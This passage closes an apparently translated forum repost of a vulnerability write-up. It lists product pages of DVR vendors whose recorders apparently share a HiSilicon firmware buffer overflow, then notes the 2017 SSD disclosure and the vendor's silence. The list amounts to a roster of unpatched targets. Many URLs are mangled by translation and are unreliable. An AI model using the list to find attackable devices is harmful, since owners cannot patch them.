http://optimus-cctv.ru/catalog/ahd-videoregistratory
http://www.clearcftv.com。 br / linha.php?l = 5&ln = ahd
http://click-cam.com/html2/products.php?t=2
http://www.ccd.dn.ua/ahd-videoregistratory.html
http:/ /www.dhssicurezza.com/tvcc-ahd/dvr-ahd-720p/
http://www.gigasecurity.com.br/subcategoria-gravadores-de-video-dvr
http://www.luxvision.com.br/ category / dvr-ahd /
http://www.yesccd.com/?products/DigitalVideoRecorder.html
http://www.tvzsecurity.com.br/produtos/31/Stand-Alone
http://showtec.com.br/dv-stand-alone/
http://www.ecotroniccftv.com.br/index.php
http://starligh.com/cctv/grabadoras.html
http:// www。 activepixel.us/ap-0404-ahd.html
http://j2000.ru/cat/DVR/
http://partizan.global/product/ahd-video-surveillance/ahd-dvrs.html
http:// kenik。 pl / index.php / tag / rejestrator /
http://www.redebsd.com.br/categoria-25-gravacao-digital
http://www.idvr.com.br/produtos-index/categorias/2374896/dvr___ahd_lancamento .html
http://www.visagems.com.br/prd.asp?idP=1119575
http://www.braskell.com.br/dvr.html
http://www.segvideo.com/segvideo/nvr- hvr.html
http://www.neocam.com.br/cameras-cftv/stand-alone
http://www.venetian.com.br/categoria/dvr-hvr-04-canais/
http://www.cctvkits.co.uk/oyn-x-orpheus-hdtvi-4-channel-dvr-1080p.html
http://ecopower-brasil.com/produto/DVR-HSBS-HSBS%252d3604.html
http://www.vixline.com.br/vitrine-de-produtos/dvrs/
http://aliveelectronics.com.br/category/gravadores-de-video/
http://www.issl.com.hk/ CCTV_DVRCYVIEW1.htm
http://idview.com/IDVIEW/Products/DVR/dvr-Analog.html
http://www.vonnic.ca/products376e.html?cat=13
http://polyvision.ru/polyvision/catalog_gibridnye .html
http://altcam.ru/video/hd-videonabludenie/
http://cyfron.ru/catalog/dvr/
http://www.t54.ru/catalog/videoregistratory/ahd_analogovye_registratory/
http:// www。 hiview.co.th/index.php?mo=3&art=42195125
http://www.kkmoon.com/usb-fan-271/p-s413-uk.html
http://qvisglobal.com/ahd-tvi-960h-hybrid
https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html
http://www.novicam.ru/index.php?route=product/ product&product_id = 429
http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf
http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR- MACHINE-SYSTEM-H-264-1TB-500GB- / 172250300884
http://giraffe.by/catalog/tsifrovye-videoregistratory
http://www.winpossee.com/en/list/?17_1.html
http:// tesamed .com.pl / rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html
http://hiq-electronics.ru/videoregistratory
http://www.eltrox.pl/catalogsearch /结果/ q = easycam + rejestrator&顺序= v_117002&DIR =降序
http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0
http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html
http:/ /secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557
http://www.divitec.ru/videoregistratoryi-divitec-idvr/

总的来说,可以说这些廉价的物联网设备是安全噩梦。作者最近测试的每台设备都有一些严重或关键的漏洞。从测试者的角度来看,这类设备必须分开,这类设备不能与重要的机密数据共享同一个网络。不幸的是,没有真正的机会获得这种固件的补丁更新。

最后,必须指出,这个缓冲区溢出漏洞(利用PoC代码)已经通过Beyond SecuritySecuriTeam Secure Disclosure (SSD)程序公开。供应商(HiSilicon)已于2016年底通过(Beyond Security)通知,但在漏洞公布之前没有回复(不幸的是,这是很常见的事情)。

2017年2月发布的披露信息可 在此处获取

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖